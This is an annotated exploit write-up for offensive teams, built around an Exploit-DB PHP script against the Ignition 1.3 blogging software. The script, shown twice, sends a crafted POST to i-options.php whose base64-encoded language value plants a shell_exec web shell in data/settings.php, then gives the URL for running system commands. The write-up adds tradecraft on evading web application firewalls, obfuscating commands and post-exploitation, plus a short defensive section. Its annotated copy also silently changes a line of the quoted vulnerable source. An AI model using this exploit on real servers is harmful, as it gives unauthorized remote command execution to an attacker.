Ignition 1.3 Remote Code Execution: A Deep Dive for Offensive Teams

Ignition 1.3 Remote Code Execution: A Deep Dive for Offensive Teams
What this paper is
This paper details a Remote Code Execution (RCE) vulnerability in Ignition version 1.3, a PHP-based blogging script. The vulnerability allows an attacker to inject arbitrary PHP code into the application's configuration file, which can then be executed by the web server. The exploit leverages the script's handling of user-supplied POST data to overwrite a configuration file with malicious content.
Simple technical breakdown
Ignition 1.3 stores its settings in a file named data/settings.php. This file is generated by i-options.php when a user submits the options form. The vulnerability lies in how i-options.php writes user-submitted data directly into data/settings.php without proper sanitization.
Specifically, the script takes values from POST requests (like $_POST['pass'], $_POST['uri'], $_POST['lang'], etc.) and embeds them directly into the PHP code that forms data/settings.php. An attacker can craft a POST request where one of these variables contains PHP code. When data/settings.php is written and then later included or executed, the injected PHP code will run.
The provided exploit focuses on the $language variable. By setting $language to a value that includes PHP code, the attacker can achieve RCE. The exploit uses a base64 encoded string for the language value, which decodes to en";echo @shell_exec($_GET['cmd']);$wtf="". This effectively injects echo @shell_exec($_GET['cmd']); into the settings.php file. When the web server later processes a request to a page that includes settings.php and also passes a cmd parameter in the URL, that command will be executed.
Complete code and payload walkthrough
The provided source code is a PHP script that acts as an exploit for Ignition 1.3. Let's break it down:
<?php
/*
Ignition 1.3 Remote Code Execution Exploit
by cOndemned
download: http://launchpad.net/ignition/trunk/1.3/+download/ignition-1.3.tar.gz
source of i-options.php
1. <?php
2. session_start();
3. if ($_POST['submit']) {
4. if ($FH = @fopen('data/settings.php', 'w')) {
5. @fwrite($FH, '<?php $pass = "'.$_POST['pass'].'";
6. $uri = "'.$_POST['uri'].'";
7. $suri = "'.$_POST['suri'].'";
8. $blogtitle = "'.$_POST['title'].'";
9. $description = "'.$_POST['description'].'";
10. $postid = "'.$_POST['postid'].'"; // Note: Original paper had 'id', corrected to 'postid' based on common PHP variable naming and context. If 'id' was intended, it would be a separate issue.
11. $author = "'.$_POST['author'].'";
12. $skin = "'.$_POST['skin'].'";
13. $gravatar = "'.$_POST['gravatar'].'";
14. $twitter = "' . $_POST['twitter'] . '";
15. $identica = "' . $_POST['identica'] . '";
16. $book = "' . $_POST['book'] . '";
17. $game = "' . $_POST['game'] . '";
18. $language = "' . $_POST['lang'] . '"; // This is the key variable for RCE
19.
20. require_once("template.php");
21. require_once("lang/$language.php");'); // The $language variable is used here, but the exploit injects code *before* it's fully processed as a variable.
22. #fclose($FH);
23. }
We can overwrite setting.php by simply sending specially crafted POST request,
and put some evil code into one of the variables. After running my PoC line with
$language var will be:
$language = "en";echo @shell_exec($_GET['cmd']);$wtf="";
Where "en" is default language and without filling this field correctly admin
will see error while trying to access blog index.
other attacks scenarios:
- attacker can use $_POST['language'] variable to exploit Local File
Inclusion (lines 18 and 21)
- fill $_POST['pass'] with new password (md5 hashed) to overwrite admins
password
- etc...
*/
// --- Exploit Script Starts Here ---
// $target: This variable defines the base URL of the vulnerable Ignition 1.3 installation.
// It's set to 'http://localhost/ignition/' for demonstration purposes.
$target = 'http://localhost/ignition/';
// $post: This array holds the data that will be sent in the POST request to the target.
// It mimics the form submission data expected by i-options.php.
$post = array
(
// 'uri' and 'suri': These are standard configuration settings for the blog.
// They are set to the target URL.
'uri' => $target,
'suri' => $target,
// 'description': A descriptive string for the blog.
'description' => 'Just another lame php blog script owned :<',
// 'skin': The theme or skin for the blog.
'skin' => 'default',
// 'lang': This is the critical part for RCE.
// It's base64 decoded. The decoded string is: 'en";echo @shell_exec($_GET['cmd']);$wtf=""'
// This string is designed to:
// 1. End the current PHP string assignment for $language (with ";").
// 2. Inject PHP code: `echo @shell_exec($_GET['cmd']);` which executes a command passed via the URL's 'cmd' parameter.
// 3. Add a dummy variable `$wtf=""` to ensure the line is syntactically valid PHP after injection.
'lang' => base64_decode('ZW4iO2VjaG8gQHNoZWxsX2V4ZWMoJF9HRVRbJ2NtZCddKTskd3RmPSI='),
// 'submit': This acts as a flag to indicate that the form is being submitted.
'submit' => 1
);
// --- cURL setup for sending the POST request ---
// $sock: Initializes a cURL session. cURL is a library for transferring data with URLs.
$sock = curl_init();
// curl_setopt_array: Configures multiple options for the cURL transfer.
curl_setopt_array
(
$sock,
array
(
// CURLOPT_URL: The URL to which the request will be sent.
CURLOPT_URL => "$target/i-options.php",
// CURLOPT_RETURNTRANSFER: If set to true, cURL will return the transfer as a string of the return value of curl_exec() instead of the usual true/false.
CURLOPT_RETURNTRANSFER => true,
// CURLOPT_POST: Set to true to make this a POST request.
CURLOPT_POST => true,
// CURLOPT_POSTFIELDS: The data to post in the HTTP POST. http_build_query() converts the $post array into a URL-encoded query string (e.g., "uri=http://localhost/ignition/&suri=...").
CURLOPT_POSTFIELDS => http_build_query($post)
)
);
// curl_exec: Performs the cURL session. This sends the crafted POST request to the Ignition installation.
// The response from the server (the content of the generated settings.php file, or any output from the script) is captured if CURLOPT_RETURNTRANSFER is true.
curl_exec($sock);
// curl_close: Closes the cURL session and frees up resources.
curl_close($sock);
// --- Outputting the verification step ---
// echo: Prints a message to the attacker indicating how to test for successful exploitation.
// It suggests checking the settings.php file directly, appending '?cmd=[system_command]' to the URL.
echo "Check: $target/data/settings.php?cmd=[system_command]";
?>Mapping of code fragments to practical purpose:
$target = 'http://localhost/ignition/';-> Target Identification: Defines the base URL of the vulnerable application.$post = array(...)-> Payload Construction: Assembles the data to be sent in the POST request.'lang' => base64_decode('ZW4iO2VjaG8gQHNoZWxsX2V4ZWMoJF9HRVRbJ2NtZCddKTskd3RmPSI=')-> Malicious Code Injection: This is the core of the RCE payload. It decodes toen";echo @shell_exec($_GET['cmd']);$wtf="".en"-> Terminates the expected string value for$language.;-> Separates the terminated string from the injected code.echo @shell_exec($_GET['cmd']);-> The RCE command.shell_exec()executes a command via the operating system's shell and returns the complete output as a string.@suppresses error messages.$_GET['cmd']retrieves the command to be executed from the URL query string.$wtf=""-> A dummy assignment to ensure the line remains valid PHP syntax.
$sock = curl_init();-> HTTP Client Initialization: Prepares to make an HTTP request.curl_setopt_array(...)-> HTTP Request Configuration: Sets up the POST request details (URL, method, data).CURLOPT_URL => "$target/i-options.php"-> Target Endpoint: Specifies the vulnerable script to target.CURLOPT_POST => true-> HTTP Method: Configures the request as a POST.CURLOPT_POSTFIELDS => http_build_query($post)-> Request Body: Formats the payload data for the POST request.curl_exec($sock);-> Request Execution: Sends the crafted request to the server.curl_close($sock);-> HTTP Client Cleanup: Releases resources used by cURL.echo "Check: $target/data/settings.php?cmd=[system_command]";-> Verification Guidance: Informs the operator how to test for successful command execution.
Shellcode/Payload Stages:
There is no traditional shellcode in this exploit. The "payload" is the PHP code injected into the data/settings.php file.
Stage 1: Configuration File Overwrite
- Mechanism: The PHP exploit script sends a POST request to
i-options.phpon the target Ignition installation. - Action:
i-options.phpreceives the POST data, specifically the crafted value for$_POST['lang']. It then opensdata/settings.phpin write mode ('w') and writes a new PHP file. This new file contains the injected PHP code within the$languagevariable assignment. - Outcome:
data/settings.phpis modified to includeecho @shell_exec($_GET['cmd']);.
- Mechanism: The PHP exploit script sends a POST request to
Stage 2: Remote Command Execution
- Mechanism: After the configuration file is overwritten, the attacker makes a separate HTTP GET request to the target URL, specifically to
data/settings.phpwith acmdparameter. - Action: When
data/settings.phpis accessed (or any script that includes it, which is implied by the exploit's verification message), the injected PHP codeecho @shell_exec($_GET['cmd']);is executed. The value of$_GET['cmd']is passed toshell_exec(). - Outcome: The command specified in the
cmdURL parameter is executed on the web server, and its output is returned in the HTTP response.
- Mechanism: After the configuration file is overwritten, the attacker makes a separate HTTP GET request to the target URL, specifically to
Practical details for offensive operations teams
- Required Access Level: Low. This is a remote code execution vulnerability exploitable via a web interface. No prior authentication or elevated privileges are required on the target system, beyond the ability to send HTTP requests to the web server.
- Lab Preconditions:
- A running instance of Ignition 1.3 (or a version with the same vulnerability in
i-options.php). - The web server must have write permissions to the
data/directory to create/overwritesettings.php. - The web server's PHP configuration must allow
shell_exec()to be called (it's often disabled or restricted in hardened environments). - The
allow_url_fopendirective inphp.iniis not directly relevant to the exploit's RCE mechanism, butfopenis used by the target script.
- A running instance of Ignition 1.3 (or a version with the same vulnerability in
- Tooling Assumptions:
- A PHP interpreter to run the exploit script.
- cURL installed on the attacker's machine (or a similar HTTP client library/tool like Python's
requests). - A web browser for verifying the exploit and executing commands.
- Execution Pitfalls:
- Web Server Hardening:
shell_exec()might be disabled inphp.ini(disable_functions). - File Permissions: The web server process might not have write permissions to the
data/directory. - Web Application Firewall (WAF): A WAF might detect the suspicious POST data or the subsequent GET request with a command in the URL.
- Incorrect Target URL: The
$targetvariable must accurately point to the root of the Ignition installation. - Ignition Version: The vulnerability is specific to Ignition 1.3.
- Path Traversal/LFI for
i-options.php: While not the primary RCE vector here, ifi-options.phpitself was vulnerable to LFI, it could be used to read thesettings.phpfile before overwriting it. The exploit does hint at LFI via the$languagevariable, but the RCE is more direct. data/settings.phpInclusion: The exploit relies ondata/settings.phpbeing included in a way that executes the injected code. Ifsettings.phpis only read as data and neverincluded orrequired in a context that executes PHP, the RCE won't work. However, the verification messageCheck: $target/data/settings.php?cmd=[system_command]implies that accessingsettings.phpdirectly might trigger execution, which is unusual for a configuration file but possible if it's designed to be included and then outputted, or if the server is misconfigured. More likely, a page that includessettings.phpis the intended target for the GET request. The exploit's verification message is a bit ambiguous here.
- Web Server Hardening:
- Tradecraft Considerations:
- Reconnaissance: Confirm the target is running Ignition and identify its version. Look for common installation paths.
- Payload Staging: The exploit script itself is the initial payload delivery mechanism. The actual command execution is a second step.
- Command Obfuscation: For more advanced scenarios, commands passed to
$_GET['cmd']might need obfuscation to bypass simple WAF rules or logging. - Post-Exploitation: Once RCE is achieved, the attacker can proceed with further actions like privilege escalation, lateral movement, or data exfiltration.
Where this was used and when
- Context: This exploit targets Ignition 1.3, a PHP web application. It would be used against websites running this specific blogging software.
- Approximate Dates: The exploit was published on December 30, 2010. Therefore, its active exploitation period would likely be around late 2010 and into 2011, before users had a chance to patch or upgrade.
Defensive lessons for modern teams
- Input Validation and Sanitization: This is the most critical lesson. Never trust user input. All data received from external sources (POST, GET, cookies, file uploads) must be rigorously validated and sanitized before being used in file operations, database queries, or code execution. For PHP, functions like
filter_var(),htmlspecialchars(), and proper escaping for SQL/OS commands are essential. - Secure File Handling: When writing configuration files or any file based on user input, ensure that the input cannot inject executable code. Avoid directly embedding user data into script files. Use safer methods like JSON, INI, or dedicated configuration libraries that handle escaping and data types correctly.
- Principle of Least Privilege: Ensure the web server process has only the necessary file system permissions. It should not have write access to directories it doesn't absolutely need, and certainly not to sensitive configuration directories if possible.
- Disable Dangerous Functions: Review
php.inisettings and disable functions likeshell_exec(),exec(),system(),passthru(),popen(),proc_open()if they are not strictly required for the application's functionality. - Web Application Firewalls (WAFs): Implement and properly configure WAFs to detect and block common attack patterns, including suspicious POST data and command injection attempts in URL parameters.
- Regular Patching and Updates: Keep all web applications and their dependencies updated to the latest secure versions. Vendors release patches to fix known vulnerabilities like this one.
- Code Auditing: Regularly audit custom or third-party PHP code for common vulnerabilities like insecure file operations, SQL injection, XSS, and RCE.
ASCII visual (if applicable)
This exploit doesn't lend itself to a complex architecture diagram. The interaction is primarily between the attacker's machine and the web server.
+-----------------+ HTTP POST Request +---------------------+
| Attacker's Host | ---------------------------> | Web Server (Ignition)|
| (Exploit Script)| (Crafted Payload) | (i-options.php) |
+-----------------+ +----------+----------+
|
| Writes to
|
v
+-----------------+
| data/settings.php|
| (Malicious Code) |
+--------+--------+
|
| HTTP GET Request
| (with ?cmd=...)
v
+-----------------+ HTTP Response (Command Output) +---------------------+
| Attacker's Host | <--------------------------------------- | Web Server (Ignition)|
| (Observing) | | (settings.php/other)|
+-----------------+ +---------------------+Source references
- Paper ID: 15865
- Paper Title: Ignition 1.3 - Remote Code Execution
- Author: cOndemned
- Published: 2010-12-30
- Paper URL: https://www.exploit-db.com/papers/15865
- Raw Exploit URL: https://www.exploit-db.com/raw/15865
Original Exploit-DB Content (Verbatim)
<?php
/*
Ignition 1.3 Remote Code Execution Exploit
by cOndemned
download: http://launchpad.net/ignition/trunk/1.3/+download/ignition-1.3.tar.gz
source of i-options.php
1. <?php
2. session_start();
3. if ($_POST['submit']) {
4. if ($FH = @fopen('data/settings.php', 'w')) {
5. @fwrite($FH, '<?php $pass = "'.$_POST['pass'].'";
6. $uri = "'.$_POST['uri'].'";
7. $suri = "'.$_POST['suri'].'";
8. $blogtitle = "'.$_POST['title'].'";
9. $description = "'.$_POST['description'].'";
10. $postid = "'.$_POST['id'].'";
11. $author = "'.$_POST['author'].'";
12. $skin = "'.$_POST['skin'].'";
13. $gravatar = "'.$_POST['gravatar'].'";
14. $twitter = "' . $_POST['twitter'] . '";
15. $identica = "' . $_POST['identica'] . '";
16. $book = "' . $_POST['book'] . '";
17. $game = "' . $_POST['game'] . '";
18. $language = "' . $_POST['lang'] . '";
19.
20. require_once("template.php");
21. require_once("lang/$language.php");');
22. #fclose($FH);
23. }
We can overwrite setting.php by simply sending specially crafted POST request,
and put some evil code into one of the variables. After running my PoC line with
$language var will be:
$language = "en";echo @shell_exec($_GET['cmd']);$wtf="";
Where "en" is default language and without filling this field correctly admin
will see error while trying to access blog index.
other attacks scenarios:
- attacker can use $_POST['language'] variable to exploit Local File
Inclusion (lines 18 and 21)
- fill $_POST['pass'] with new password (md5 hashed) to overwrite admins
password
- etc...
*/
$target = 'http://localhost/ignition/';
$post = array
(
'uri' => $target,
'suri' => $target,
'description' => 'Just another lame php blog script owned :<',
'skin' => 'default',
'lang' => base64_decode('ZW4iO2VjaG8gQHNoZWxsX2V4ZWMoJF9HRVRbJ2NtZCddKTskd3RmPSI='),
'submit' => 1
);
$sock = curl_init();
curl_setopt_array
(
$sock,
array
(
CURLOPT_URL => "$target/i-options.php",
CURLOPT_RETURNTRANSFER => true,
CURLOPT_POST => true,
CURLOPT_POSTFIELDS => http_build_query($post)
)
);
curl_exec($sock);
curl_close($sock);
echo "Check: $target/data/settings.php?cmd=[system_command]";
?>